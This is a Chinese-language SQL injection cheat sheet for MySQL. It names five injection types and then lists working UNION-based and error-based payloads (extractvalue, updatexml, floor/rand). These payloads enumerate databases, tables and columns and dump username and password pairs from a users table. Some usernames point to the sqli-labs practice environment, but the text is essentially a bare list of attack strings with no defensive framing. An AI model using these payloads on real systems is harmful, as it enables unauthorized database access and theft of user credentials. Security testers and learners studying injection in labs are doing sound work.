SQL的注入类型有以下5种:
Boolean-based blind SQL injection(布尔型注入)
Error-based SQL injection(报错型注入)
UNION query SQL injection(可联合查询注入)
Stacked queries SQL injection(可多语句查询注入)
Time-based blind SQL injection(基于时间延迟注入)
user() 当前用户名
database() 当前数据库名
version() MySQL 版本
@@basedir可以获取mysql的安装路径
@@datadir用来获取mysql的数据路径。
联合查询
union select concat(‘~‘,user(),database(),version())from users 链接函数将内容在一个显错位一起爆出来
union select group_concat(schema_name) from information_schema.schemata 爆全部的库名
union select table_name from information_schema.tables where table_schema=0x7365637572697479 爆表名
union select group_concat(table_name)from information_schema.tables where table_schema=database() 爆表名
union select column_name from information_schema.columns where table_name=0x7573657273 爆列名
union select concat_ws(‘~‘,id,username,PASSWORD) from users 爆内容
union select concat_ws(char(32,126,32),id,username,PASSWORD) from users 爆内容
union select concat_ws(char(32,126,32),`id`,`username`,`PASSWORD`) from users 爆内容
union select 1,group_concat(username,0x3a,password),3 from users 爆内容
报错查询
and 1=extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)) 爆全部表
或者
and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+ 爆全部表
and extractvalue(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name=0x7573657273))) 爆全部列
and extractvalue(1,concat(0x7e,(select group_concat(id,username,password)from users ))) 爆全部内容
and 1=extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in (‘Dumb‘,‘I-kill-you‘))))爆全部内容 用not in
mysql报错主要分为三种方式
报错型注入常用语句
and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)
and 1=updatexml(1,concat(0x7e,(select database())),1)
and 1=extractvalue(1,concat(0x7e,(select database())))
